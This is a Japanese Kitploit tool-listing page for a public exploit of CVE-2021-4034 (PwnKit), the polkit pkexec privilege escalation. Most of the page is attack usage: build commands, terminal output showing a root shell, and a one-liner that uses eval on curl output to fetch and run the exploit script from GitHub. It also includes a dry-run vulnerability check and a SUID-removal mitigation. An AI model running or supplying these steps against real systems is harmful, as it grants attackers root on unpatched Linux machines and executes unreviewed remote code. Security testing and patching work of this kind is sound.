Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2021-4034 — CVE-2021-4034 1day | Kitploit
ツール/GitHubGitHub/berdav/cve-2021-4034
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育バイナリエクスプロイト
GitHubberdav/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 1day

リポジトリを見る
2.0k5074年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2021-4034

polkit権限昇格エクスプロイトのワンデイ

make を実行し、./cve-2021-4034 を実行するだけで、rootシェルを手に入れられます。

実際の作者による元のアドバイザリはこちら

PoC

エクスプロイトが正常に動作すると、すぐにrootシェルが得られます:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

ほとんどのシステムでpolkitを更新すると、エクスプロイトが修正されるため、使用方法が表示され、プログラムは終了します:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

Dry Run

シェルを実行せず、システムが脆弱かどうかだけをテストするには、dry-run ターゲットをコンパイルします。

プログラムが "root" と表示して終了する場合、システムがエクスプロイトに対して脆弱であることを意味します。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

システムが脆弱でない場合は、エラーを表示して終了します。

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

About Polkit pkexec for Linux

Polkit(旧称PolicyKit)は、Unix系オペレーティングシステムにおけるシステム全体の権限を制御するコンポーネントです。非特権プロセスが特権プロセスと通信するための体系的な方法を提供します。また、pkexecコマンドの後に実行したいコマンド(root権限で)を続けることで、昇格した権限でコマンドを実行するためにもPolkitを使用できます。

One-liner commands

以下のコマンドでダウンロードして実行できる単一のスクリプトを使用して、システムを簡単にエクスプロイトできます:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

Mitigation

オペレーティングシステムにパッチが利用できない場合は、一時的な緩和策としてpkexecからSUIDビットを削除できます。

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

その後、エクスプロイトは pkexec にsetuidビットが有効でなければならないと文句を言って失敗します。

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
ツールをダウンロード